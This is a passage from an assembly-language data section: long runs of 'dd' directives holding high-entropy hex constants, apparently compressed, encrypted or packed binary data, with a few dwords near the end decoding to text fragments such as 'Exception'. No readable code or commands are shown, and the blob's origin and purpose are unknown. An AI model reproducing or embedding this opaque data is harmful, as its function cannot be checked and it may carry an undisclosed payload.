28847FE6h, 75B44FD9h dd 4881182Fh, 4BCE20E9h, 99EE4D14h, 7AF9F120h, 6F0ED318h dd 30E4AB1h, 18588DEh, 9E9D4680h, 280BAF5Bh, 0D8CBA4A4h dd 42CF3088h, 601791B6h, 72211B76h, 9081145Dh, 2602B0D9h dd 5A766C86h, 0D88D0C40h, 824F6C99h, 305E859Ch, 3A2013B3h dd 0A3AFFA2Fh, 1F3932D0h, 0EE207548h, 48EA6A47h, 0C1029CB5h dd 1ED6C539h, 500E0449h, 5ABE97C0h, 8ACFECA8h, 4FE49h dd 0DC1E350Ch, 9E397A1h, 0DFD0A752h, 142BEC00h, 80C4414Eh dd 0A48BFC29h, 8EC046C8h, 0F61F660h, 4481C09Fh, 96384092h dd 0BBFAC4D2h, 6411D702h, 80AE605Ah, 0B035F6DCh, 33020142h dd 0AF56DB37h, 59D8624Bh, 77F9601Ch, 9843454Ch, 21C66BADh dd 4A6ECC02h, 70C58C1h, 411B40CCh, 21A40156h, 58100574h dd 7CC72420h, 82418011h, 28AA7C50h, 0F711Ah, 0B7C829CBh dd 1B5EC565h, 7240BF61h, 32110B24h, 71FB10E0h, 8839099Ch dd 0C49320E2h, 86C9F8E0h, 72D83Fh, 8E25DBC2h, 0FBD1DEDh dd 4AAF599Bh, 0F002A97Ah, 8B0F7F3Dh, 0F2CC134Eh, 6BB0A244h dd 3BEF8099h, 96A5C5h, 0A4B2220Dh, 9843C279h, 0C8B5D61Bh dd 84314040h, 2188A248h, 71E1BF84h, 0F9143E01h, 88D80C41h dd 6488D5A6h, 7E5300C2h, 29EA83E2h, 4A00B40Fh, 7640AD46h dd 25DBDE21h, 0D8B02EC6h, 0F1015926h, 8F53AAD2h, 7C2284B1h dd 234C3A96h, 0C6BD00EEh, 8201D20Ch, 252BF705h, 80D8BC8Ah dd 39DB0A27h, 0CC0E7A0h, 8961D2A6h, 73FFAA00h, 90B07465h dd 0A9F801A8h, 5FF32743h, 23402930h, 8434012Ah, 18432DEEh dd 9BF98828h, 57D5841Fh, 97EB8E80h, 60FE1D6Ah, 0F3B521B2h dd 0D8B25CEDh, 6635AF10h, 6DE69D80h, 0BE26FE9Ah, 1F400CE9h dd 4A11C9DCh, 469046D7h, 0F814D93Dh, 30E0092Bh, 0A755311Dh dd 0DDE1C0D1h, 750C1AB6h, 3EF36507h, 0D697308Fh, 1D8745A0h dd 3506032Eh, 1EB44B20h, 2C38C2CCh, 825EE4C8h, 0D28A25h dd 3580F6D8h, 30F54CC6h, 1A2E3E7Ch, 0C4413444h, 0D5BC6C2Ch dd 0AFCB008Ch, 0AE353671h, 66EC4661h, 0A9C11702h, 0C820FED4h dd 800A2A48h, 4A156CDBh, 0BDCC419Bh, 38FAECD8h, 4FB2563Ch dd 3E632889h, 0FC490878h, 0B4D42890h, 84592224h, 0A9551701h dd 5830D81Ch, 0DF5A0947h, 0C4C84AAh, 0DD3F850Eh, 54980560h dd 2D38A1h, 296E4FC1h, 4489D0C7h, 8090A8BAh, 95BEFB13h dd 0A5FA860h, 3ADB1020h, 8047C86Bh, 0E00A6717h, 0EC04092Ah dd 0DCC18EFDh, 64050081h, 10204CDDh, 7862802h, 333F1880h dd 984FF13Bh, 65FE5805h, 4450554Dh, 0E0032B80h, 5B992C01h dd 0E2348h, 6C991489h, 0DAB81E8h, 208E5C13h, 1C7AFA78h dd 28FF1C3Dh, 6A1C8779h, 0CCADC4Eh, 0E40FA825h, 0C88ED6FBh dd 9BC0D788h, 3DCF328Ah, 4217DB01h, 890047B5h, 493BE0h dd 3DD453DEh, 7150D0E3h, 12413E28h, 0B09BFC02h, 110A61BCh dd 884ADB22h, 69198146h, 0F8E98D0Ah, 27285A48h, 8CA1241Bh dd 2822156Eh, 226C9009h, 48611499h, 8BE0A833h, 5509992Ah dd 40DE11B7h, 4C76C114h, 158E58A8h, 4A2CECE0h, 2A3B19B7h dd 1AC613A4h, 0BC2F9C17h, 7E001D23h, 8C2AAFBAh, 0A4C905Ch dd 0E5D481DBh, 0B47C45CCh, 3700C4FCh, 2F2B93D5h, 5A2EE94Dh dd 40A4094Bh, 59DD2022h, 0AFF4FC90h, 3A9F0D04h, 30F0D889h dd 5B170A2Fh, 40D0ECA9h, 81B78669h, 4C64C4A7h, 8E9E9260h dd 0D8BF640Fh, 0D9D781C6h, 0B082D05Ah, 3BA25C2Bh, 18FA8E8h dd 8EA0D14Ch, 81112B98h, 7525C7A4h, 0DA5DAF00h, 0DE827094h dd 40D7DF87h, 58D09AD8h, 2D81DCD5h, 872989FCh, 0A1DB2E58h dd 28EC250Bh, 0F59D7C07h, 0EC534745h, 55E23402h, 0D6D48430h dd 38FCB4h, 356D431Ch, 0AA23DFFAh, 0C29D3F0Fh, 0A4ABAEF0h dd 48C02E65h, 48A35261h, 0C9E2C19h, 9D08FB97h, 8EF54781h dd 0A6C17074h, 16BB3AC8h, 5886FACh, 74CE4F72h, 88388BB8h dd 8088C04Dh, 0C0121C51h, 0CD0CD84h, 3F81150h, 6A4DECC5h dd 77E06213h, 410042EBh, 1B96CBB0h, 0F8B73347h, 62393044h dd 1A826739h, 0C190B661h, 15D33889h, 9CD8A7B8h, 9495B900h dd 0AFB421EBh, 8D90F53Dh, 28767E39h, 0DC88B04Eh, 211EEDC8h dd 96CECB80h, 0DACF3444h, 44B75021h, 0B9A1B080h, 497D6306h dd 500014AFh, 0DB62D8A9h, 860072DFh, 35C9167Fh, 43C6A22h dd 665CBF0Bh, 8FE8A03Fh, 5697120h, 42324C2Dh, 18CA010h dd 0B80CDD41h, 0D645017Eh, 0DD347F7h, 0D579DCE6h, 83B2BB01h dd 42E9ED04h, 2D3C72EAh, 0AC267A31h, 2758593Ah, 0A4A42FB0h dd 4940DF40h, 0FFAEA57Dh, 0D04D2B02h, 80B1CA8Ah, 9F550BD0h dd 7C840247h, 18875262h, 2EB24848h, 3D3158B8h, 4DF4C168h dd 98739068h, 0F9E41610h, 307A20h, 7CE5C21Eh, 7190A93Eh dd 0E65C2505h, 642B1810h, 82A2628h, 3E41C639h, 0A64862F6h dd 0D968E251h, 181BD148h, 0E2799098h, 4CA4164Fh, 785C0550h dd 0FB9C01D5h, 78217A6Eh, 166064D4h, 0A849860h, 96A32D27h dd 9FF5007Ch, 29CB8084h, 0AB00755Ah, 731AEEDh, 0E2959050h dd 0C135138Bh, 4CC0A7Eh, 992FC09Ch, 1B584866h, 178EE090h dd 0C6510099h, 0DFC18998h, 7D5EAF5Eh, 0CCCF0812h, 42FE8388h dd 0B4B2F483h, 443148F2h dd 602C89F4h, 826158F1h, 0C8DF21CAh, 9D07E0Fh, 0A68CA0CEh dd 2F5A06BFh, 0D00CAC53h, 2204AA49h, 0CD44B09Fh, 4CD0D8B4h dd 0D70099D9h, 75ED4106h, 0C4000E51h, 0FF5DDDA4h, 0FEAE3F03h dd 0F4905CABh, 20EFC808h, 2F10C05Ah, 8894941Dh, 9E01D108h dd 0E038D752h, 4EEE4C20h, 4E580726h, 0A02154C0h, 0E00ABE4h dd 4C775C4Ah, 9C0B36B6h, 8A3F406Ch, 8757CCDBh, 12978440h dd 15C6DD21h, 444820A3h, 0F4BD610h, 974294DCh, 1804E512h dd 80A4459Eh, 5A6413E3h, 33CC909Bh, 0E91FDE77h, 170A05ACh dd 4FC1ACB6h, 0C7814A9h, 19C06B18h, 0B9676E44h, 9433978Ah dd 0C0B848E0h, 0E1D7A786h, 3CCA3800h, 51F5EB8Eh, 13090023h dd 0C283EF7Dh, 8225CFB3h, 0D4EC6192h, 4C6C17CDh, 2D851DC8h dd 0D0565Ch, 0A8348F44h, 35DDBEB8h, 94A93C5Bh, 0A77CF078h dd 184B0F34h, 0E8BC44ACh, 0AF83018Ch, 824A2F38h, 0E0885416h dd 55537138h, 31EAA22Ch, 774070EEh, 0C6F0AE0Ah, 0B412F4F2h dd 0AF506C80h, 51D3624Ah, 54E6D6D0h, 5A8E4C10h, 87451701h dd 6C533D16h, 8C27BC30h, 2B21320Bh, 581C0430h, 904FB890h dd 6FC20BB3h, 44A7FC1Ch, 3091CB02h, 1054D1A7h, 78D4B962h dd 0B0A92A93h, 5DB609B8h, 0D0A06AD7h, 21E213B3h, 552EE49Ah dd 811B9CBDh, 0D1F99BE9h, 0E7DC455Eh, 8DC613BFh, 0D29C87E0h dd 5840FDD1h, 0ED8B55A2h, 49C870CBh, 58B9C9C0h, 5C80650h dd 0C1DEA8D1h, 0D6B15507h, 81A2041Dh, 31D44060h, 0D2408275h dd 0A10F1CC2h, 2DD75E95h, 4C30D0D0h, 46245E36h, 18CFCCCCh dd 465E5C96h, 93A23B29h, 0E0D0BE2Fh, 0EE91B9A5h, 13335B12h dd 30D01464h, 0F0016323h, 0F25E3273h, 488ED18h, 63730009h dd 0A66BF2F3h, 0B8C40C32h, 5D002382h, 37FCBF81h, 89AC5350h dd 8018224Dh, 0DC39DAC3h, 0F88F97E6h, 0A92581B0h, 8039D6ECh dd 0E4B50E14h, 7435FA27h, 5E6C8A82h, 2D64407Dh, 4189ACCh dd 0E274462Ch, 2468C43Eh, 14B008BCh, 0F08432C0h, 7033482Dh dd 8040F3E2h, 0CA3CA91Dh, 0A0977471h, 2E6A813Ch, 93A8BC0Bh dd 0D0A05952h, 49C80F2Dh, 0D7B1DC0h, 129E4E64h, 89B00B98h dd 0BC1E0404h, 991CC09Ch, 3B6B2A4h, 0DFFB1A3h, 73A1E35Dh dd 6F3ED874h, 0DADDAB05h, 0CC613D03h, 8048C1D0h, 0C0F528AFh dd 613A61D4h, 0E1BE9661h, 0DD118B69h, 7DAC1059h, 0BD8CA825h dd 0EE14069Dh, 3E27EF31h, 0A5005E77h, 44A335DDh, 286A47F6h dd 24901E36h, 15D8C604h, 0D4098CFCh, 940269CDh, 68047225h dd 670064E2h, 6D425D02h, 1A00B9C5h, 385878Ch, 5039DB2Eh dd 83A95436h, 0BFC85FFCh, 6F84805Dh, 4C381191h, 3150E00h dd 0D6F6325Ch, 148A95F9h, 3D5C3D88h, 6010CF35h, 0F5C9C464h dd 0A0807E58h, 4A21AEFEh, 8AC446D1h, 0BE4A1853h, 0E81960D3h dd 9AD5C8h, 24F96470h, 67CC03B8h, 26524A05h, 948144AEh dd 3F01BE6Bh, 28412B36h, 0AF28A47h, 1D2B0400h, 59495C91h dd 18215974h, 2098099Ah, 0C28007D6h, 6290D5DCh, 11D35219h dd 68234F68h, 89C6112h, 0DD804204h, 0DE649B80h, 0D609152h dd 0E161383Fh, 0B65C302Dh, 0F6A8608Ah, 0B9608243h, 33F27C6Fh dd 0FCA6F278h, 207F3F11h, 22B86C90h, 0C25A4A8Ch, 4E43B160h dd 6118E5BBh, 808A5E07h, 0A9E160CDh, 7CE5AA7Ah, 7700B974h dd 0F2784A21h, 9ADB275Dh, 25CC9074h, 84A2701Dh, 390352C0h dd 0E143E8D3h, 63AD0905h, 0D8902F72h, 0F9C7C9B3h, 92481214h dd 697402C1h, 74C0AA6Eh, 0A60489F4h, 0E105A75Dh, 874C3C90h dd 0E2393544h, 0C83887A1h, 0AEA38F81h, 0B478E0E3h, 0A722D6A2h dd 869620DFh, 7604226Bh, 0BFA8E744h, 0A95C24D3h, 0E829E4A1h dd 645E1A11h, 2C407F48h, 0F951F48Dh, 1582480Bh, 4484966Ch dd 332E3F05h, 1550C4DBh, 2FF027h, 0FE48FC28h, 5B44B017h dd 0EC5F1813h, 85B28408h, 0A0ACA9DDh, 96014F1Ch, 22781D33h dd 59A0317Bh, 9A9002E8h, 0BF5261EEh, 7D0AAC5Ch, 5E82FC0Dh dd 0E8C26248h, 4EA1DBECh, 2F2CC224h, 0D037C882h, 0BDD22B00h dd 84B9C03Fh, 3349DAB9h, 665AB212h, 4A162400h, 0A09F8272h dd 85DBF1FCh, 399C4601h, 0EED41DD9h, 8F5B05B7h, 22FCC6F9h dd 620118Ch, 503E140Dh, 9F2DB033h, 1EC41C02h, 34E7D410h dd 0BC3124BDh, 8C47BCF0h, 9492A100h, 70AC3932h, 0B0F0C485h dd 140302C9h, 1724E81Eh, 0E4A91639h, 0EFAC21DDh, 0B8BC04B3h dd 0E06BAD80h, 9F186936h, 7C6940BFh, 1707C03h, 0E2BFE12h dd 0BE720249h, 2D3C1370h, 0C8F36C82h, 0C98880E4h, 88E5D7F2h dd 1B604DE4h, 46240225h, 4C0BF495h, 96C44816h, 80DE0167h dd 824A5D6Bh, 54022B6Ah, 40C84954h, 0A8DD2D50h, 1EE3AC4h dd 87626305h, 29C6E3ADh, 3146176Ch, 0E49A0D0h, 3BE498F2h dd 88482C1Ah, 88502651h, 0F29F27E8h, 3920A7AEh, 97251323h dd 822891E4h, 0C08C4C79h, 80DCA138h, 5309C22Ch, 21D9D696h dd 9A6D2ACh, 5F631FCh, 0DACFF914h, 264E39Bh, 0F4A152B1h dd 98F081D1h, 7C228F46h, 3A414F00h, 764AAFF3h, 0BFFA6C9Ah dd 8689206Fh, 0FD19EF62h, 79809438h, 6502BFCBh, 54A1B71Ch dd 0D8FB07C0h, 0BB46A9Ah, 0CFF164AAh, 0B5025C51h, 0A4C5DF3h dd 81BF1944h, 123820EEh, 907C0489h, 492020A5h, 1897419Bh dd 9FE1BA4h, 0C764D6EFh, 66A5F851h, 64859570h, 0B02C648Eh dd 0B554DD3Ch, 5245C03Ch, 9A8C81E4h, 4BCE1814h, 58FA205Eh dd 0FC24BC81h, 315364D1h, 8B58A8BFh, 0F254099Eh, 0AA78A858h dd 31FCE519h, 7FC1133Eh, 2C648854h, 196E5C09h, 0FCC4C0CEh dd 0AD87690h, 3ED3D0CCh, 4C0D84C4h, 8F8F6h, 5FE6847h, 4E1F0F5Ah dd 0DB902082h, 0F858DCA9h, 740896CCh, 6C17AD12h, 392D691h dd 0EB132FAEh, 0CD89A80Bh, 9E6C6444h, 71465620h, 8150FB1Dh dd 83DB9B6Fh, 46BC6047h, 8605717Bh, 0C5B1A75Ch, 53B87890h dd 0D0C12CBFh, 74327048h, 7C624788h, 88489E42h, 0DD1FC5ADh dd 278C5355h, 0F8C49069h, 893A124Ah, 761409C8h, 0D620AC64h dd 54F0905Ah, 411E0CBBh, 31FD303Bh, 3412344Eh, 0A8005CB2h dd 46E3B49Eh, 30017F05h, 2618472Bh, 0AF204897h, 39C00A62h dd 1FCCF7B4h, 0E730642Dh, 491985D0h, 6844C9F4h, 8C880507h dd 0A01E3B26h, 89EB1BE2h, 64B8B176h, 81DB4248h, 42856B8h dd 0B945C3A7h, 65CD10F4h, 0B507984Ch, 26A8827Eh, 0C4082059h dd 7B41C1h, 91C60F2Bh, 0ECB47519h, 0F28947D4h, 7E891789h dd 0A02CAFAEh, 850B381Bh, 904D0084h, 61F2E8BBh, 3E897FBh dd 0BA62EBB8h, 895920C1h, 6110E090h, 0AFF53987h, 0A1229C02h dd 0CE8D9F0h, 0ACA0153Fh, 2907AAC7h, 6A34A549h, 0C9958900h dd 62B3018h, 0B3BA6610h, 18FF5B3Eh, 0E9182115h, 280E10Eh dd 0AD2D2228h, 8239CF10h, 659300B5h, 8577FC6Ah, 610F73C0h dd 0E8602D25h, 0B0D8011h, 0DB2F31EAh, 0F39D38BFh, 8C760981h dd 0F06C0AEEh, 8B6E0FACh, 295B002Dh, 0C00BE9BDh, 8589617Eh dd 2E77017Fh, 76B9660Ch, 43B5BD11h, 0D78A186Dh, 28BD8B08h dd 0C30C32EDh, 3E85204h, 5A20610Eh, 548944C3h, 302EA2BFh dd 5242211Bh, 0CCB801C3h, 8FF90F93h, 958BE0BCh, 2B0ACD28h dd 111D66CCh, 5D85198Dh, 0DC29A203h, 18C01981h, 0E926B950h dd 6A61030Fh, 0C9CA8001h, 0F4420A6Fh, 0C358874Ah, 31448922h dd 5040101Ch, 0C85902C3h, 32F938A0h, 0E8C97663h, 9D238007h dd 58BD2778h dd 0CA82C07Bh, 0FCF65B3h, 0F9725961h, 0C7D3FF68h, 0E11D40Ah dd 0B09E91Bh, 0C21471A0h, 0C3C4E300h, 0BD83F5D5h, 0CC086C45h dd 1A448436h, 0FA8B3266h, 0CDAADCF8h, 0BB711525h, 2918E91Bh dd 0D3DBDD8h, 0B26793A4h, 0A1720B2Fh, 0B529001Bh, 99A82C75h dd 5534BD03h, 94080F2Ah, 559C551h, 624C8984h, 41221794h dd 0E3A48051h, 2AFFC05Ah, 32397FB5h, 0CA13079h, 6155A02Fh dd 23BD212h, 343B1B7h, 804177BCh, 0D63BA16Bh, 391815D1h dd 8A8A5748h, 0F8619B0Bh, 85254E9h, 837041CBh, 0B6AB1A14h dd 8870808h, 0B1202889h, 8F9A5955h, 9102B5A0h, 5F0E5723h dd 7C8944C3h, 47201862h, 73D1C357h, 2B7E3497h, 7550894h dd 0F9BF13BBh, 0DC10701h, 6691106Ah, 0C35E8756h, 1C748922h dd 0C3564600h, 0B7531B71h, 0C1F3A039h, 2C968224h, 60E95144h dd 0F97C0B0Ah, 2E024DEEh, 0D54EA313h, 0C8384C52h, 5BC35390h dd 5C8991C3h, 4380EB23h, 1525C353h, 614A0D03h, 0D02499F9h dd 3CBB70Fh, 8D236059h, 960206B1h, 30ECBF66h, 81164661h dd 6326CA8Ah, 9164E850h, 1818D953h, 9875047Bh, 8252F75Ah dd 89A40D94h, 545C9959h, 77F80912h, 1A91481Fh, 0EBA2B180h dd 48265A5Bh, 670AA4D8h, 0C8836F6Ah, 90B5C27Eh, 1C285D7Ah dd 0E4B04006h, 503D440Dh, 8C19B876h, 0E3C2AE26h, 0F456E01h dd 1F810581h, 0F3CE1ABAh, 0CD45501Ch, 0C000E4BEh, 0A24E86B0h dd 49D3D7B2h, 0FF439480h, 923115F2h, 0B1CF7720h, 0DD890E75h dd 0C924EDD5h, 12E8C3BCh, 0A81D3B00h, 0A232E518h, 84000EEh dd 89412687h, 4606ABB6h, 0DE92F38h, 4AA7072Fh, 0D0A30B33h dd 9F296F60h, 0BA771614h, 0C2953CEBh, 0D52DBF0Ah, 0C5448AFh dd 540B10E9h, 0B12FE701h, 8D9C552Bh, 0F7805C8h, 0CC93BB7Fh dd 9BFAF3Ah, 0A9AFD800h, 72B9DCE8h, 429F09F5h, 2EB34155h dd 422B9C41h, 1565CE95h, 0B4B95100h, 585A1DDFh, 1AF8B85Fh dd 0BF030F8Ch, 0C1654B35h, 0F28430C6h, 0FD00985Eh, 0A3C06D0Ch dd 3C96D125h, 0BA066E97h, 2B806855h, 58E6AA80h, 8C036A2Ch dd 96593260h, 17FA184Fh, 8166A315h, 62AAF206h, 2913E9h dd 12D43639h, 415ECDE7h, 2031175h, 0BC0A9E0Fh, 0A5F6B10Ch dd 0E3BA3F83h, 3B1268A7h, 1720E9C0h, 3B8EB8h, 4A23A583h dd 3C1A6CA7h, 7244D07h, 9A75DA94h, 0A8FBDD08h, 2FFD26FCh dd 7D542EAh, 0C4B74512h, 4894601Bh, 5E0F02C2h, 0E9FF2193h dd 0EB00C1E4h, 5AF72F5Dh, 2E29ECh, 7D7F2AB7h, 0F0310587h dd 0F883C80Ah, 0CF0EEDFFh, 0ECE41404h, 58068C14h, 8BD9501h dd 698519D5h, 758AEC0Ch, 0E080429h, 613884AFh, 0EF028156h dd 5A5180FFh, 3BB46059h, 7C5B7024h, 0D3D048F9h, 8E18D331h dd 6381041Eh, 1EA6869Dh, 0D090830h, 8FC08B0Bh, 312708D8h dd 6401F976h, 88F97538h, 83168912h, 53501974h, 0D8B83812h dd 380B1E52h, 8DB82181h, 0DA21759Dh, 5BD3D485h, 17226258h dd 64782008h, 0A2C48CBCh, 600B2429h, 0A75EF02h, 218D620Fh dd 30610520h, 2A1A4AE3h, 4E3E4400h, 0B045CC0Ah, 0D0130F55h dd 264D42CFh, 357888C2h, 3F68092Fh, 6009DD0Eh, 0CA00E444h dd 345E36F3h, 58DE16E4h, 0D7047F2Ah, 0A061107Ah, 2980CBA6h dd 97CD69BDh, 7440A4Ch, 6B1102DDh, 6E2A6412h, 0F8C1AD40h dd 2E14144Ch, 0DE407DE9h, 2443FAAh, 0F3EE7BDh, 7F24D7FAh dd 1AEDE327h, 5355B75Dh, 3019A284h, 470958A9h, 2B3BF91h dd 0E71F05B1h, 6462913Ch, 5D615568h, 6C89C8C3h, 45583494h dd 0C4C31455h, 0BC63B5EBh, 58580969h, 0C9AA552h, 86C80FC0h dd 89139816h, 94E018Dh, 1F35C48Bh, 0DE62C9B6h, 0B0530275h dd 5077B185h, 14236B2Eh, 0B50B5E12h, 6B4394FAh, 0FF784D3h dd 496237B3h, 0A0EACC51h, 2C8ACF02h, 0C9DA5992h, 0C765D003h dd 8C9F1598h, 45FE3E76h, 0AEC82655h, 465E6703h, 55D72E17h dd 8D0BFB01h, 93541119h, 0D2946C00h, 0B0FC7Dh, 68493202h dd 8AD81DADh, 3BACE501h, 2B9FD419h, 0AFA91021h, 0E02A1D10h dd 4DC0E977h, 0F819C7F2h, 0EA5C39D5h, 0C343F100h, 7633474Ah dd 461C2A0h, 0A1D68B80h, 35DCEA86h, 950B0950h, 0F0A52BC9h dd 283BCB01h, 7B45ABFCh, 0BD010D09h, 0FE291145h, 7EDF29CEh dd 0D7D09B49h, 8509D13Fh, 7D1E20B1h, 24803244h, 0C95BE3DAh dd 350D4C02h, 532AE903h, 14B2C526h, 498B2830h, 89874DFAh dd 5E3416B5h, 0CB49507Fh, 0F1808234h, 902E4CD8h, 10D1208Ch dd 0E84827ACh, 0C0438038h, 0B0141319h, 1784FB5Fh, 0E0BD8D03h dd 0A6A55A2Bh, 4417F508h, 2541D873h, 8ABE5DF9h, 0BE09B9B2h dd 0E0C66051h, 0C1E91306h, 61A7CD08h, 81072852h, 1337B4DEh dd 14CBBF8h, 5846CB9Ah, 3059243Ah, 56B7AFECh, 94D70191h dd 881D7A87h, 290CCC7Ah, 0C2A487F4h, 1DEBB053h, 5173E7B6h dd 0C14FC309h, 16E1C421h, 1AD442Fh, 9ACCF1A4h, 31B0884Bh dd 13E80A27h, 0C1090127h, 0C444285Bh, 23795220h, 492DC600h dd 834CF2D1h, 0C294A204h, 5F940784h, 85998573h, 0C891C422h dd 0AB3FE95Dh, 2D303FC5h, 81B5D4C1h, 237C8492h, 19333D30h dd 4CB12F85h, 1DEC8F2Dh, 3554018Ch, 59662652h, 551BE0A2h dd 25208398h, 1206B02Dh, 8E29D580h, 0C215C846h, 0DD4BEF11h dd 0A282D1BAh, 120A0EA1h, 0B0FBD91Bh, 918C0FF3h, 0A7C2C39h dd 0C07434F9h, 0AA73F781h, 9E4A5431h, 4FEB9D31h, 0A56449AFh dd 49367128h, 9F008664h, 3AEF0432h, 2C231BE1h, 85F5FB20h dd 0DA21C98Dh, 0FED9C872h, 0CEF4D942h, 0C0188841h, 0ADA52D6Ah dd 3D8ED850h, 0DBF0A40h, 74B777E3h, 0F00D66C4h, 142CE213h dd 0F14AA8DFh, 0C8C7D109h, 21D04487h, 8A53F5D8h, 0F20F25C8h dd 5F89038Eh, 0BB50438Eh, 65200806h, 5B642E0Ch, 16F249E2h dd 75F79830h, 23E9484Dh, 2B863780h, 1E24DA60h, 3D1F3859h dd 7D3B98ADh, 44808401h, 1B25D680h, 15161050h, 63AD003Eh dd 36B7DAEBh, 0C800C40Ah, 8C30A825h, 256A04E0h, 0A9088B60h dd 1500E78h, 9F6471EBh, 0BD296005h, 389705E5h, 0B2FB962h dd 0E81585h, 91CA575Dh, 692CA364h, 0C9082351h, 5A5F0734h dd 80F30A68h, 3353C88Ah, 0B485D8Dh, 1239847Bh, 322A914h dd 1EC43BB2h, 8CB3240Dh, 0F2301AB2h, 7DE90623h, 0F67047C1h dd 0E9A9BD24h, 26550649h, 456290D3h, 4AC526E9h, 1700C86Eh dd 0B3860FFAh, 0F9115455h, 7F3B0BE8h, 0A6E69F80h, 77BE5EE0h dd 0FC265275h, 23C5D95Fh, 3DD43784h, 0B931D363h, 0C18C0C01h dd 0E1B81840h, 0AB041FD6h, 0E640AB5h, 3D17A1C7h, 0B898EE06h dd 8C6F3DCAh, 6483C311h, 860D2801h, 0BD0B1228h, 0E9D682A1h dd 0D6A0D064h, 97C51F5Dh, 94919195h, 2852983Dh, 0DA06293Ch dd 0F69445C1h, 96D7846Ch, 0AA8F1FF8h, 83E1772Eh, 25E59DB1h dd 0D3072C51h, 5160BC30h, 704C0099h, 0B0FEE8ABh, 0A0342634h dd 1F805836h, 99D6B70Fh, 0BC6F89Ah, 0BC6C28Fh, 0A4B90117h dd 3C385ECBh, 8C1BBCECh, 86857300h, 0E1820309h, 270E9013h dd 8D2A0261h, 82508E2h, 26FB9125h, 0D389736Ch, 1ED2202h dd 8F1B5133h, 2048E116h, 4BF632ADh, 14AE27D4h, 202F2459h dd 3E3C4A01h, 91523EFh, 0D6A14080h, 70194964h, 791A2FB7h dd 598D01E9h, 32DF0035h, 0C6240644h, 0CF995200h, 0F9E995F5h dd 82B6B8F1h, 1D49C181h, 0DDAC0E3Dh, 2FDDE48Fh, 10870F0Eh dd 0EFC06E14h, 0FF5323BCh dd 0F59FD1Eh, 0E35DF09h, 23468A5h, 18D19D09h, 0DBB3F692h dd 11402872h, 2562DE9h, 1691E89Dh, 0BDA86880h, 0FB12E9BFh dd 0C40422ABh, 0A4A40A69h, 45244A65h, 0B30C61D9h, 301AB2DAh dd 0DD05CFF1h, 9212217Ch, 23D2DA80h, 40E92F9Ah, 8210569Bh dd 0B21F0871h, 749FE4D5h, 0B0241446h, 15A10A98h, 820FC260h dd 0A120486Ch, 346A322Fh, 29C9057Eh, 91D6150h, 0DDEA207Bh dd 8A0905FDh, 68BB8207h, 0DB8C2001h, 448C3F6h, 19023396h dd 502DB2C6h, 6856059Ch, 0B0A8B852h, 0B581DFDh, 483CC90Bh dd 0B0046A7Dh, 0DD1041B5h, 0E481BE64h, 2D50D4CAh, 9B684780h dd 0EC4718ACh, 0F09D4A92h, 684F401Eh, 2F7B2661h, 87180980h dd 83E77128h, 286A537Dh, 85180A56h, 607575C0h, 64986841h dd 2ADB872Bh, 85EDD04Ch, 0A4684C83h, 0B48092E7h, 9D8B1120h dd 5B2E7ED4h, 0D995FD04h, 15AC7054h, 0CF03C72Ah, 0ED43D9E1h dd 260FB002h, 802B242Dh, 194FD185h, 21A6C74h, 0B5341953h dd 17449149h, 4456D28h, 0A5F79768h, 2F190492h, 2679A39h dd 752EB00Ch, 0DA66A632h, 4E35A1C0h, 0D22C0C23h, 0A76446C9h dd 601944C4h, 9923BCFh, 0FC35FD03h, 4CBF204h, 10240D0h dd 69E8F595h, 0FF2C6450h, 80655535h, 6652BD20h, 0A39703BFh dd 2589645Fh, 0E269F384h, 20BE3017h, 0F1494C26h, 99328D0Bh dd 5153FA3h, 88112D4Dh, 0A41012Fh, 892C8534h, 18E5F403h dd 482D37FBh, 9DD52A3Fh, 0EDBD800Bh, 85484810h, 9532A10Dh dd 0E90CF432h, 0D63D0207h, 0FDB3309h, 245B5988h, 4404C95Bh dd 0C0330408h, 1AF2CFB2h, 37F4BA31h, 146B13E3h, 19F704CCh dd 0F40001Bh, 270B073Fh, 0D0A98F64h, 608AC1DFh, 0D2359B30h dd 8E1C882Dh, 1C115239h, 0C584178Ah, 0F4C0615Bh, 0FC64F9DFh dd 835F17FCh, 84540FFBh, 14DD4011h, 0D2F38Ah, 7F3D1F8h dd 0CD00A63Dh, 5250A9A7h, 388A1333h, 0DFCD59F1h, 0E91C0B20h dd 0B727015Eh, 0B1308B16h, 51CDAD06h, 0F99D0118h, 8883E9E5h dd 852D8B60h, 66E687D9h, 0D561F373h, 0C70CB280h, 2BA46681h dd 837A03FFh, 415B865h, 8BC3D703h, 0DA30415Ch, 815D20C2h dd 8B92F2EDh, 1B838B28h, 41FF97A0h, 0C538981h, 204F5F5Dh dd 40C24B5Bh, 0A5F1C00h, 8D6EF7A3h, 23A2F46h, 27D065C0h dd 17B9B795h, 0F0C31961h, 17EA7CF9h, 77B40E8h, 0DADA04Ah dd 77158712h, 241DB509h, 0C1E65068h, 0A280B7E0h, 0C8C0F13h dd 98091F2Ch, 8963C26Ch, 0EB6A198Dh, 4690384Eh, 226B120h dd 0C905D781h, 386E106Dh, 0FA193BA1h, 0EEF4B904h, 0D7040FB8h dd 64A04855h, 0BB0DF781h, 85D46500h, 0B640BA86h, 0EAF4E134h dd 0C5F67E8h, 68FB70EDh, 56164D58h, 39040A75h, 1081F29h dd 1DCBC2A9h, 8A1411F7h, 0E10CB5F7h, 9F2E317h, 4D5FA0B5h dd 5390B550h, 8A1C2E62h, 0F0A951CBh, 2184043Dh, 0DC103479h dd 11200EBDh, 0BF90BC7Dh, 0C3333118h, 0EC1009F7h, 0E9154E3Ah dd 4D6E9B47h, 392E3103h, 6E85309Bh, 78450001h, 74706563h dd 6E6F0E69h, 666E4920h, 616D72C2h, 90830C89h, 73CB656Ch dd 63202C98h, 3D7418CFh, 68EAF879h, 0F173F1FBh, 0F577F166h dd 64129F72h, 6C9F761Fh, 0BD7D705Eh, 69779A73h, 761D2C34h dd 1C26D86Ch, 67D8676Eh, 0EE2E7340h, 0FAE7B854h, 0FA79FA6Bh dd 6F0AF675h, 1F4040Dh, 807028C6h, 436E7360h, 754C5254h dd 0EBB2FF2Bh, 468F6978h, 0BA7A642Dh, 707B6218h, 6C08A379h dd 0FE62CB69h, 296428DAh, 56428136h, 3FA6DFA1h, 25BC3DBFh dd 0E8431EE6h, 496B630Ah, 64910F4Eh, 54554FC2h, 7F725038h dd 161DA26Fh, 0F3BD10Fh, 0B641F390h, 0C80F3DA1h, 50CA5B1Eh dd 1D188E8Dh, 0BDDA401Eh, 32B915B1h, 24012D88h, 0BA940FA5h dd 0E50581Fh, 528AB9FEh, 0C3805C2Ch, 2427A436h, 2E429914h dd 7A32819h, 1632FEB1h, 0D2B8B12h, 0F06465F0h, 25398AC5h dd 24230EA7h, 